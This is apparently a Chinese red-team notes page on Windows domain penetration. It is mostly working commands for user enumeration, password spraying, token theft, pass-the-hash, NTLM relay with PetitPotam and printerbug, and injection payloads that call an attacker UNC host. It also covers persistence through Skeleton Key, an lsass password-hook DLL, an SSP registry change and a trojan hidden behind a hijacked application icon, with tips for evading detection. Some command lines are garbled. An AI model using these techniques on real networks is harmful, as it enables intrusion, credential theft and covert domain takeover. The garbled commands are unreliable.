https://blog.csdn.net/q20010619/article/details/122025543?spm=1001.2014.3001.5501
reGeorg内网穿透、SSH隧道本地Socks代理、SSH远程转发、Earthworm Socks5代理、Tunna正向代理、ICMP隧道、DNS隧道、Frp穿透
https://blog.csdn.net/q20010619/article/details/122060536?spm=1001.2014.3001.5501
2、内网资产扫描
1、Nbtscan:能迅速查找电脑IP地址以及MAC地址的软件,能够判断DC,不过只能⽤于局域⽹,显示IP、主机名、⽤户名称以 及MAC地址。
nbtscan.exe 10.10.10.0/24
2、PTscan:轻量级web应⽤资产扫描器,适合于内⽹渗透测试环境下web的资产快捷识别。 扫描完后会在当前路径下⽣成⼀个 html ⽂件,可视化资产。
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
-f 指定扫描⽬标⽂件,⽂件格式如list.txt所示,同时⽀持IP和URL
-h 指定扫描IP或IP段,⽀持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p 指定扫描端⼝,缺省使⽤程序中的配置端⼝
-m 指定线程数
-t 指定timeout
-n 不进⾏ping操作,直接扫描
-b 开启Banner识别
-r ReverseIP
3、Inscan
边界打点后的⾃动化内⽹⼯具,完全与服务端脱离。服务端只⽤于⽣成poc,⽹段信息等配置。
多平台,单⼀的⼆进制⽂件,免依赖;
⽀持⾃动可视化多级隧道,通过后台按钮开关即可穿越多层⽹络;
⽀持ipv6的扫描器;
快速直观查看多⽹卡机器,⽅便快速定位能穿多层⽹络机器;
通过已知密码⽣成社⼯字典,快速横向内⽹;
内⽹B/S架构系统⾃动化爆破,验证码⾃动识别;
快速资产识别,站点截图; 通过扫描到的资产⾃动化进⾏⽹站⽬录扫描;
4、goby
3、从域外对域内进行枚举搜集各类信息
1、kerbrute 批量枚举有效域⽤户账号
kerbrute 是⼀种通过 Kerberos 预身份验证快速暴⼒破解和枚举有效 Active Directory 帐户的⼯具。
原理是通过模拟 AS_REQ 向 KDC 发起正常请求,若是 KDC 返回的是 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN 错误的话, 则说明该域⽤户不存在,那么 KDC 返回并提示 KRB5KDC_ERR_PREAUTH_REQUIRED (预身份验证),那么 就说明该域⽤户是存在的。
kerbrute.exe userenum -d 域名 字典.txt --dc 域控IP
kerbrute.exe userenum -d redteam.com users.txt --dc 10.10.10.10
2、ADfind 搜集域内各类信息
获取域内⽤户列表信息
adfind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b dc=redteam,dc=com -f "objectcategory=user"
3、获取域内⽤户组列表信息
adfind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b dc=redteam,dc=com -f "objectcategory=group"
4、获取指定域内组成员列表信息
adfind.exe -h 10.10.10.10 -u redteam\saulgoodman -up Saul!@#456 -b "CN=metasploit,OU=内⽹安全组,OU=渗透攻击红队,DC=redteam,DC=com" member
4、从域外对域内进行密码喷洒攻击
1、crack:crack 是⼀款⾮常好⽤的密码喷洒⼯具,并且速度快,⽀持对⼀个 C、B 段进⾏基于 smb 密码喷洒。
基于单个⽤户单个密码喷洒
crack.exe -i 10.10.10.10/24 -p 445 -U redteam\saulgoodman -P Saul!@#45 -s smb -t 100
基于⽤户字典密码字典喷洒
crack.exe -i 10.10.10.10/24 -p 445 -U user.txt -P pass.txt -s smb -t 100
2、CrackMapExec:功能类似crack,kali已集成
3、Hydra:kali暴力破解工具
5、令牌窃取
不同的⽤户登录计算机后, 都会⽣成⼀个 Access Token ,这个 Token 在⽤户创建进程或者线程时会被使⽤,不断的拷⻉,这也就解释了A⽤户创建⼀个进 程⽽该进程没有B⽤户 的权限。⼀般⽤户双击运⾏⼀个进程都会拷⻉ explorer.exe 的 Access Token 。
1、MSF令牌窃取:incognito
list_tokens -u //查看用户令牌
impersonate_token 'REDTEAM\Administrator' //窃取令牌
这个时候因为我们是⼀个域管理员了,权限已经是最⼤的了,所以我们和域控建⽴ IPC 不需要输⼊密码,也就变相的拿到了域控制器的权限
2、windows下incognito使用
incognito.exe list_tokens -u
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
3、CS令牌窃取
先通过拿到⼀个 System 权限的 beacon
后查看当前进程
注⼊这个进程上线到 CobaltStrike
或者直接使⽤命令注⼊该进程
inject 284 x64 http
6、命令行下的IPC内网渗透
IPC(共享命名管道资源)可以访问⽬标机器上的⽂件(上传、 下载),也可以在⽬标机器上运⾏命令。
1、利用条件:
开启了139、445端⼝
管理员开启了默认共享
2、假设拿到了域管的账号密码
建⽴ IPC
net use \\10.10.10.12 /u
\admins admin!@#45查看⽬标的共享磁盘
net view \\10.10.10.12
查看⽬标 C 盘下的⽂件
dir \\10.10.10.12\c$
上传⽂件到⽬标 C 盘
copy 要上传的⽂件名 \\10.10.10.12\c$\
下载
copy \\10.10.10.12\c$\pass.txt
3、⾼版本下( Windows 2008 及之后的操作系统)的机器运⾏计划任务执⾏命令:schtasks
1、创建计划任务
schtasks /create /tn test /U redteam\admins /P admin!@#45 /tr "c:\calc.bat" /sc MINUTE /mo 1 /s 10.10.10.12 /RU system
2、执⾏计划任务
schtasks /run /tn test /s 10.10.10.12 /U redteam\admins /P admin!@#45 3、删除计划任务
schtasks /F /delete /tn test /s 10.10.10.12 /U redteam\admins /P admin!@#45
4、低版本下(Windows 2008 以下的操作系统内置,例如 Windows 2003)的机器运⾏计划任务执⾏命令:at
#使⽤at创建计划任务
at \\10.10.10.3 4
C:\calc.bat#清除at记录
at \\10.10.10.3 ID /delete
5、利用IPC创建远程服务
sc \\10.10.10.19 create Backdoor binpath= "cmd.exe /k C:\shell.exe"
sc \\10.10.10.19 start Bsckdoor
sc \\10.10.10.19 delete Bsckdoor
7、哈希传递PTH
利用条件:
在工作组环境中:(msf)
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,
其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
原理:
1、mimikataz:
mimikataz抓取不到明文密码的时候,使用命令
sekurlsa::pth /user
/domain.com /ntlm成功之后回弹出一个cmd窗口,此时和域控制器建⽴ IPC (⽆需密码)后,直接可以查看⽬标机器 C 盘⽂件。
哈希传递登录远程桌面
2、MSF下的PTH:类似mimikataz
hashdump导出密码哈希
hashdump模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限。
meterpreter > run hashdump
run windows/gather/smart_hashdump命令导出希哈值
run windows/gather/smart_hashdump命令的使用需要系统权限。
该功能更强大,如果当前用户是域管理员用户,则可以导出域内所有用户的hash
meterpreter > run windows/gather/smart_hashdump
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set lhost 172.16.2.10
lhost => 172.16.2.10
msf6 exploit(windows/smb/psexec) > set rhost 172.16.2.0/24
rhost => 172.16.2.0/24
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee
smbpass => aad3b435b51404eeaad3b435b51404ee
msf6 exploit(windows/smb/psexec) > run
3、Crackmapexec:
crackmapexec smb IP -u user -H hash -d god.org -x whoami
crackmapexec smb 192.168.52.138 -u administrator -H 4d6e43b2cdc951808100f5b1d09aac63 -d god.org -x whoami
IP 可以是单个IP也可以是IP段
-u 指定用户名
-H 指定NTLM Hash
-d 指定域
-x 执行系统命令
4、wmiexec
python wmiexec.py -hashes LM Hash
Hash 域名/用户名 @192.168.52.138 "命令"5、impacket项目中的smbexec.py
8、票据传递MS14-068
kerberos的认证流程:
一阶段:
1. 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判 断 Client 是否可信。
2. 认证通过后返回 TGT 给 Client,Client 得到 TGT(Ticket Granting Ticket)。
二阶段:
3. Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT,判断 Client 是否有访 问权限。
4. 如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 ST(Service Ticket)。
三阶段:
5. Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server 有效。
6. 最终 Server 和 Client 建立通信。
黄金票据:
在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM 哈希作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM 哈希值,不就可以伪造 任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制 器的权限,黄金凭据可以理解为一个后门。
利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组 的成员,可用于 Kerberos 认证的任何服务。 攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
需要伪造的域管理员用户名
完整的域名
域 SID
krbtgt 的 NTLM 哈希值
产生与kerberos认证第一阶段
黄金票据失效:
黄金票据默认有效时期20分钟,或者快速修改krbtgt用户账户密码两次
白银票据:
白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访 问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而 黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得20分钟内,TGS 不会对该 TGT 的真 伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 krbtgt 账号的密码哈希值,因 此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击时,需要掌握下面几个信息:
域名
域 SID
目标服务器的 FQDN
可利用的服务
服务账号的 NTLM 哈希值
要伪造的用户名
产生于kerberos的第二阶段
黄白票据的区别:
为什么自己伪造的票据可以用:
因为PAC模式,有微软自己定义的加密方式,同时也认可用户自定义的加密方式,所以用户可以自己定义PAC,而PAC是放在TGT里的,所以说可以按照微软的格式,把我们伪造的PAC放进去,这个方式不是把自己提成域控,而是利用伪造的方式让别人认为你是域控。
9、委派
非约束委派
⽤户 A 去访问服务B,服务 B 的服务账户开启了⾮约束委派,那么当⽤户 A 访问服务 B 的时候会将⽤户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利⽤⽤户 A 的身份去访问⽤户 A 能够访问的任意服务。
比较鸡肋,需要与域控交互才能获取TGT。
当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation (⾮约束委派),则当 user 访问 service1 时会将 user 的 TGT 发送给 service1 并保存在内存中以备下次 重⽤,然后 service1 就可以利⽤这张 TGT 以 user 的身份去访问域内的任何服务(任何服务是指 user 能访问 的服务)
流程如下:
1. ⽤户向KDC请求可转发TGT,记为TGT1
2. KDC返回TGT1
3. ⽤户通过TGT1向KDC请求转发TGT2
4. KDC返回TGT2
5. ⽤户通过TGT1向KDC申请访问服务1的RST
6. KDC返回RST
7. ⽤户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1
8. 服务1通过⽤户的TGT2请求KDC,以⽤户名义请求服务2的RST(服务访问票据)
9. KDC给服务1返回服务2的RST
10. 服务1以⽤户名义向服务2发出请求
11. 服务2响应服务1的请求
12. 服务1响应⽤户第7步骤的请求
这个流程有⼀个问题: TGT2 是不被限制的,服务1完全可以⽤它来请求访问任何想访问的服务。攻击其实就是利 ⽤的这点,使⽤从⾼权限账户处得到的 TGT 去获取权限。
利用:
利用域内打印机,提权之后打印机有某个服务可直接与域控交互,以此获得域控票据
⾮约束委派:
约束委派:
约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某⽤户的 TGS , 从⽽只能模拟⽤户访问特定的服务。
S4U2self (Service for User to S4U2Self) 可以代表⾃身请求针对其⾃身的 Kerberos 服务票据(ST);如果⼀ 个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION , 则其可以代表任何其他⽤ 户获取⾃身服务的 TGS/ST。
S4U2proxy (Service for User to Proxy) 可以以⽤户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范 围。服务帐户可以代表任何⽤户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST,⾸先需要从 该⽤户到其本身的 TGS/ST,但它可以在请求另⼀个 TGS 之前使⽤ S4U2self 获得此 TGS/ST
基于资源的约束委派:
10、NTLM Relay(中继)
https://blog.csdn.net/qq_45290991/article/details/120775455
NTLM认证流程:
NTLM V1 V2之间的区别
NTLM v1与 NTLM v2 最显著的区别就是 Challenge与加密算法不同,共同点就是加密的原料都是 NTLM Hash :
Challenge:
v1: 8-byte
v2: 16-byte
Net NTLM Hash:
v1: DES
v2: HMAC-MD5
LM Hash 和 NTLM Hash区别
LM Hash
全称是LAN Manager Hash, windows最早用的加密算法,由IBM设计。
LM Hash的计算:
- 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
- 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
- 再分7bit为一组,每组末尾加0,再组成一组
- 上步骤得到的二组,分别作为key 为 KGS!@#$%进行DES加密。
- 将加密后的两组拼接在一起,得到最终LM HASH值。
lm协议的脆弱之处在于
- des的key是固定的
- 可以根据hash判断密码长度是否大于7位,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee
- 密码不区分大小写并且长度最大为14位
- 7+7字符分开加密明显复杂度降低14个字符整体加密 957+ 957 <95 14
NTLM Hash
LM Hash 的脆弱性显而易见,所以微软于1993年在Windows NT 3.1中引入了NTLM协议。NTLM Hash是支持Net NTLM认证协议及本地认证过程中的一个重要参与物,其长度为32位,由数字与字母组成。
• Windows本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在SAM数据库中。
• 当用户登录时,将用户输入的明文密码也加密成NTLM Hash,与SAM数据库中的NTLM Hash进行比较。NTLM Hash的前身是LMHash,目前基本淘汰,但是还是存在。
加密算法如下:
- 先将用户密码转换为十六进制格式。
- 将十六进制格式的密码进行Unicode编码。
- 使用MD4摘要算法对Unicode编码数据进行Hash计算
发⽣在 NTLM 认证的第三步,客户端发送使⽤服务端 NTLM Hash 加密的 Challenge 值,得到 Net-NTLMHash。
进⾏NTLM Relay攻击的第⼀步我们⾸先要获得这个Net-NTLMHash值。思路是让受害者把 Net-NTLMhash ⾃⼰发送给攻击者,也就是说只要是使⽤ SMB、HTTP、 LDAP、MSSQL 等协议来进⾏ NTLM 认证的程序,都可以尝试⽤来向攻击者发送 Net-NTLM hash。
通过设置指向恶意服务器的UNC路径,能够使受害机器自动发使用当前用户凭证向恶意服务器发起NTLM认证。
中继触发方式:
能触发中继首先得让内网机器能访问你的vps,可以搭建隧道通信,也可以把这些python脚本打包成exe,放到拿下的内网机器去执行。
通过 SMB 来进⾏ Relay Attack
SMB 协议的 Relay攻击,可直接 Relay 到 smb 服务器,是最直接最有效的⽅法。
1:⼯作组环境
在⼯作组环境⾥⾯,⼯作组中的机器之间相互没有信任关系,每台机器的账号密码 Hash 只是保存在⾃⼰的 SAM ⽂件中,这个时候 Relay 到别的机器可能性就不⼤,除⾮两台机器的账号密码⼀样,不然毫⽆意义。
2:域环境
我们知道在域环境下所有域⽤户的账号密码 Hash 都保存在域控的 ntds.dit ⾥⾯。若没有限制域⽤户登录到某台机 ⼦,那就可以将该域⽤户 Relay 到别⼈的机⼦,或者是拿到域控的请求,将域控 Relay 到普通的机⼦,⽐如域管运维所在的机器。
被动触发:
通过 impacket 下的 smbrelayx.py 进⾏ Relay Attack
在VPS 上执⾏如下命令监听 80 和 445 端⼝,伪造 http 和 smb 服务:
#SMBRelay 攻击 192.168.0.128 主机,并执⾏ whoami 命令
python3 smbrelayx.py -h 192.168.0.128 -c whoami
通过钓鱼或其他手段诱导域管或域用户访问伪造的http或smb服务,访问http://ip
但是需要域管输入账号密码,比较鸡肋
通过 impacket 下的 ntlmrelayx.py 进⾏ Relay Attack
在VPS 上执⾏如下命令监听 80 和 445 端⼝,伪造 http 和 smb 服务:
# SMBRelay 攻击 192.168.0.128 主机,并执⾏ whoami 命令
python3 ntlmrelayx.py -t smb://192.168.0.128 -c whoami -smb2support
让域控随便访问⼀个资源使⽤ smb 触发:访问即可
dir \\ip\c$
(因为它会检查本地 host ⽂件,然后检查 DNS,如果都不存在, 就会通过 LLMNR 协议进⾏多播,在局域⽹中进⾏搜索。此时可以在攻击机上看到 Responder 的响应,然后受害 者的 Windows 机器会向攻击者进⾏身份验证)
利用邮件服务器
如果拿下邮件服务器或者邮件用户,可利用各类协议向域管发送邮件触发,比如file:///vps的ip
利用WEB资源
如果我们拿下web服务器,可以利用图片或者html页面插入恶意语句
<img src="\\vps的ip">
<script src="\\vps的ip"></script>
此时只要域管访问web页面,即可触发
主动触发:
多数主动触发需要我们拥有域内成员账号密码
exchange
exchange作为一个高价值目标,默认情况下,Exchange Windows Permissions安全组对安装exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升。利用Exchange也很有可能直接拿下域控。
1.cve-2018-8581
该漏洞本质上是一个 SSRF 漏洞,漏洞成因主要是由于 exchange 底层逻辑中访问用户‘订阅’时,会使用系统用户的 net-ntlm hash 去访问目标地址。因此,可以构造恶意服务器抓取 exchange 服务器系统账户的 net-ntlm hash 并重放,中继到管理员权限。
利用Relay来直接获取指定用户Hash
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d
domain.com -th DCip MailServerip
2.cve-2019-1040
利用exchange漏洞和打印机bug漏洞,进行中继和回连
https://www.cnblogs.com/mrhonest/p/14187849.html#漏洞概述
1.攻击机开启中继
impacket-ntlmrelayx --escalate-user chenli -t ldap://192.168.110.12 -smb2support --remove-mic --delegate-access -debug
2.使用打印机漏洞
windows:
spoolsample.exe exchangeIP 攻击机IP
kali:
python3 printerbug.py sync.net/chenli
\!\@\#45@192.168.110.81 192.168.1.103RPC的利用
1.打印机bug漏洞
微软官方认为是正常业务,也不给出补丁。微软的spoolsv.exe注册了一个服务和若干个rpc。允许认证用户远程调用,其中RemoteFindFirstPrinterChangeNotificationEx这个函数运行传进一个unc路径,打印机服务就会去请求该unc路径。由于打印机是以system权限运行的,所以我们访问打印机rpc,迫使打印机服务向我们发起请求拿到的net-ntlm hash是机器用户hash。
python printerbug.py cgdomain.com/test:'1qaz@WSX'@10.211.55.201 10.211.55.2
2.PetitPotam
PetitPotam是今年7月刚刚出的新的rpc利用方式,补丁更新后好多打印服务被关闭,有攻击者研究出通过efs进行rpc攻击方式
加密文件系统(EFS)是微软 Windows 在 NTFS3.0 中引入的一个功能,它提供文件系统级加密。此技术使文件支持透明加密以保护机密数据免受具有物理访问权限的攻击者侵害。EFS从Windows 2000起在所有为商业环境开发的Windows版本中可用.
该漏洞利用了微软加密文件系统远程协议(MS-EFSRPC,MicroSoft Encrypting File System Remote Protocol)。MS-EFSRPC是 Microsoft 的加密文件系统远程协议,用于对远程存储和通过网络访问的加密数据执行“维护和管理操作”。利用该漏洞,黑客通过连接到LSARPC强制触发目标机器向指定远程服务器发送Net-NTLM Hash,从而攻击者在拿到Net-NTLM Hash后能进行NTLM Relay攻击,进而接管整个域。该漏洞可以用于替代Printerbug。
攻击者可以通过使用 MS-EFSRPC 协议将 DC NTLM 凭据中继到 Active Directory 证书服务 AD CS Web 注册页面以注册 DC 证书,从而以域控制器为目标来发送其凭据
和之前的printer bug利用类似,EFS的rpc,允许恶意域用户/或机器账号控制其它机器外发认证。SERVER2012以下支持匿名触发,server2016以上匿名管道默认为空,需要凭据触发
python Petitpotam.py -u sanfeng -p '1qaz@WSX' -d cgdomain.com 10.211.55.2 10.211.55.202
LFI
PHP 中的 include() 将为我们解析网络路径。
http://host.tld/?page=//11.22.33.44/@OsandaMalith
XXE
使用“php://filter/convert.base64-encode/resource=”来解析网络路径。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
<name></name>
<tel></tel>
<email>OUT&xxe;OUT</email>
<password></password>
</root>
XPath Injection
通常,doc() 用于带外 XPath 注入,因此可用于解析网络路径
http://host.tld/?title=Foundation&type=\*&rent\_days=\* and doc('//35.164.153.224/@OsandaMalith')
MySQL Injection
使用“INTO OUTFILE”来解析网络路径
http://host.tld/index.php?id=1’ union select 1,2,load_file('\\\\192.168.0.100\\@OsandaMalith'),4;%00
其他触发方式
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
11、WinRM横向
WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的Web服务协议)实现远程管理,启用服务后,防火墙会自动放行相关通信端口。
端口为5985。
1、工具:
Winrs
winrs -r:http://ip:5985 -u
-p "whoami"2、获取交互式会话
powershell下的利用:
12、通过DCOM横向
https://www.freebuf.com/articles/network/261454.html
1、MMC20.Application
MMC20.Application对象的Document.ActiveView下存在ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令。
2、ShellWindows
ShellWindows组件提供Document.Application.ShellExecute方法,可以用来启动子进程并运行执行的程序或系统命令。
13、常用横向手法
1、psexec
原理是通过SMB服务连接$Admin共享,并释放名为"psexesvc.exe"的二进制文件,然后注册名为"PSEXESVC"的服务。
注意事项:
1. 需要远程系统开启 admin$ 共享(默认是开启的),⽬标需要开放 445 端⼝和 admin$ 共享
Psexec.exe -accepteula \\ip -u 主机名 -p 密码 -s cmd.exe
2. 在使⽤ IPC 连接⽬标系统后,不需要输⼊账户和密码
3. 在使⽤ PsExec 执⾏远程命令时,会在⽬标系统中创建⼀个 psexec 的服务。命令执⾏完后,psexec 服务将 被⾃动删除。由于创建或删除服务时会产⽣⼤量的⽇志,可以在攻击溯源时通过⽇志反推攻击流程
4. 使⽤ PsExec 可以直接获得 System 权限的交互式 Shell(前提⽬标是 administrator 权限的 shell )
5. 在域环境测试时发现,⾮域⽤户⽆法利⽤内存中的票据使⽤ PsExec 功能,只能依靠账号和密码进⾏传递。
2、WMI(windows管理规范)
条件:
(1)开启WMI服务
(2)开放135端口
利用:
(1)远程查询
#使⽤跳板机器(web-2008)的 cmd.exe 执⾏⼀条命令,并将结果保存在 C 盘的 ip.txt ⽂件中:
wmic /node
.10.10.10 /user\admins /password!@#45 process call create "cmd.exe /c ipconfig >c:\ip.txt"# 建⽴IPC$
net use \\10.10.10.10 /u
\admins admin!@#45# type读取结果
type \\10.10.10.10\c$\ip.txt
(2)远程安装MSI
wmic /node
.10.10.10 /user\admins /password!@#45 process call install PackageLocation= "路径"3、WMIExec
条件:
开放135和445
python wmiexec.py 主机名
/密码@ip5、权限维持
域内权限维持
1、Skeleton Key(万能密码) Attack
使⽤ mimikatz 完成注⼊ Skeleon Key 的操作,将 Skeleton Key 注⼊域控制器的 lsass.exe 进程从⽽实现权 限维持,因此当域控制器重启后肯定就会失效,不过在实战中⼀般域控很少会关机重启,所以还是可以利⽤这种⽅ 式来暂时性隐蔽⼀段时间。
1、mimikatz 中使⽤ Skeleton Key Attack
尝试以当前登录⽤户身份列出域控制器 C 盘共享⽬录中的⽂件:
dir \\ad-2008\c$
此时是⼀个普通的域⽤户身份,所以系统提示权限不⾜拒绝访问
假设红队⼈员已经拿到域控机器并且拿到了域管理员的账号和密码,我们就可以在域控机器上使⽤ mimikatz 进⾏ skeleton key attack
mimikatz.exe "privilege::debug" "misc::skeleton" exit
当系统提示 Skeleton Key 已经注⼊成功,此时会在域内的所有账号中添加⼀个 Skeleton Key,其密码默认 为:“mimikatz”。
在不使⽤域管理员原始密码的情况下,使⽤注⼊的 Skeleton Key,同样可以成功连接系统,输⼊命令,使⽤域管 理员账号和 Skeleton Key 与域控制器建⽴ ipc$:
net use \\AD-2008\ipc$ "mimikatz" /user
\administrator2、Hook PasswordChangeNotify Attack
Hook PasswordChangeNotify 的作⽤是当⽤户修改密码后在系统中进⾏同步。 攻击者可以利⽤该功能获取⽤户修改密码时输⼊的密码明⽂。 在修改密码时,⽤户输⼊新密码后,LSA 会调⽤ PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符 合要求,LSA 会调⽤ PasswordChangeNotify,在系统中同步密码。
1、下载 HPC dll :https://github.com/clymb3r/Misc-Windows-Hacking
2、使⽤ VS 开发环境,MFC设置为在静态库中使⽤ MFC 编译⼯程,⽣成 HookPasswordChange.dll: (HookPasswordChange.dll 位数务必要和⽬标系统完全保持⼀致,否则会出问题)
3、然后下载脚本:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-Re flectivePEInjection.ps1
⾸先需要 Invoke-ReflectivePEInjection.ps1 脚本将 HookPasswordChange.dll 注⼊内存,在⽬标系统中启动管理 员权限的 Powershell:
Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
此时如果这台机器修改密码的话,我们会在 C:\Windows\Temp 可以找到⽂件:passwords.txt,里面会存储刚修改的明文密码。如果想改路径,可以更改 HookPasswordChange.cpp代码的 132行为你想要⽣成 的路径。
4、这个时候我把⽂件路径修改成: c:\windows\temp\windows.log ,实战中可以根据情况修改⽤于隐藏⾃⼰。若 ⽬标操作系统是 Windows 2008 那么可以结合 GPP ,修改到这个⽬录 C:\Windows\SYSVOL\domain\Policies ,这个目录是域内每个用户都可以访问的,那么只要我们拿到⼀个普通域⽤户的权限,只要域控修改了密码(⼀般是域管),那么我们就可以 dir 查看 SYSVOL 共享⽬录下捕获到域管修改的密码,从⽽实现“权限维持”。
3、SSP来获取目标登陆的凭据
SSP(Security Support Provider),直译为安全⽀持提供者,⼜名Security Package,简单的理解为SSP就是⼀个 DLL,⽤来实现身份认证,例如:NTLM、Kerberos、Negotiate、Secure Channel(Schannel),Digest、 Credential(CredSSP)。
其攻击原理可以理解就是⼀个⽤于身份验证的 dll,当⽬标系统在启动时 SSP 会被加载到 lsass.exe 进程中,⽽ lsa 可被扩展,所以⽬标机器在系统启动时可以加载⼀个我们⾃定义的 dll,例如⾃定义了⼀个恶意的DLL⽂件,在⽬标 系统启动时⾃动加载到 lsass.exe 进程中,那么攻击者就能够获取 lsass.exe 进程中的明⽂密码,即使⽤户更改密 码并重新登录,攻击者依然可以获取该账号的新密码。
1、通过 mimikatz 注⼊到内存,⽬标⽆需重启系统,只要有⽤户登陆到此系统,那么就⽴即开始密码记录(重启就失效)。
mimikatz "privilege::debug" "misc::memssp" "exit"
2、把 DLL 传到⽬标域控的 c:\windows\system32\ ⽬录下:(切记 dll 位数要和⽬标系统位数相同才可以)
copy mimilib.dll %systemroot%\system32
3、⽤ powershell 修改⼀下注册表 Security Packages 值下追加刚刚的 mimilib.dll
powershell
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
可打开注册表查看⼀下是否添加成功: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项
4、当⽬标系统重启后,如果 DLL 被成功加载,那么⽤户在登录时输⼊的账号密码将会被记录在 C:\Windows\System32\kiwissp.log ⽂件⾥
使⽤ SSP 我们可以让⽬标机器在系统启动时可以加载⼀个我们⾃定义的 dll,例如⾃定义了⼀个恶意的DLL⽂件, 在⽬标系统启动时⾃动加载到 lsass.exe 进程中,那么攻击者就能够获取 lsass.exe 进程中的明⽂密码,即使⽤户 更改密码并重新登录,攻击者依然可以获取该账号的新密码,若是改进⼀下直接把密码发送到远程服务器那岂不是更隐蔽?
4、DSRM域后门
https://blog.csdn.net/include_voidmain/article/details/124323626
5、SID History的利用
https://blog.csdn.net/qq_41874930/article/details/111612386
6、AdminSDHolder域后门
https://blog.csdn.net/qq_41874930/article/details/111595319
7、DCsync攻击
http://www.hackdig.com/09/hack-476701.htm
8、NSSM注册Windows 服务进行持久化
NSSM 是一款注册 Windows 系统服务的工具。将应用程序注册为 Windows 系统服务可以使其在系统停止、重启等情况仍可自动运行,可用于持久化后门。
测试环境 Windows Server 2012。
常见的计划任务修改注册表非常容易被杀软拦截,可以使用 Windows 服务来进行持久化操作。
NSSM 常用命令。
// 创建 Windows 服务
nssm.exe install WindowsSec "%windir%\system32\calc.exe"
// 设置服务的描述字符串
nssm set WindowsSec Description "Windows sec Description"
// 启动服务(默认为自动启动)
nssm start WindowsSec
除此之外,也可以使用常见的 SC 命令。
// 创建 Windows 服务
sc create "ServiceName" binpath= "%windir%\system32\calc.exe"
// 设置服务的描述字符串
sc description "ServiceName" "description"
// 设置这个服务为自动启动
sc config "ServiceName" start= auto
// 启动服务
net start "ServiceName"
9、其他的思路
看已经有的服务,替换,用c或python写一个工具再编译,当注册表调用你的东西的时候,顺便把它原有的服务也启动
工作组权限维持:
1、个人机的话,可以替换图标,图标的重新指向
控下pc,把QQ的图标做重定向,定向到一个隐藏的目录,里面有个vbs,vbs的内容是第一步运行我们的马,而马的内容是弹uac,那么客户一般情况下就会授权uac,vbs的第二步是运行QQ,这样既不影响QQ的运行又可以运行木马
2、拿到system权限,把一个每次开机都会运行的东西(网易邮箱exe)劫持掉,然后把这个东西新增一个data段,里面写上马
3、msf有模块可以检测哪些服务可以劫持,它的本质是把原有服务替换掉,会导致服务崩掉,可以提前写好劫持服务的工具,把原有服务包含或者再调用
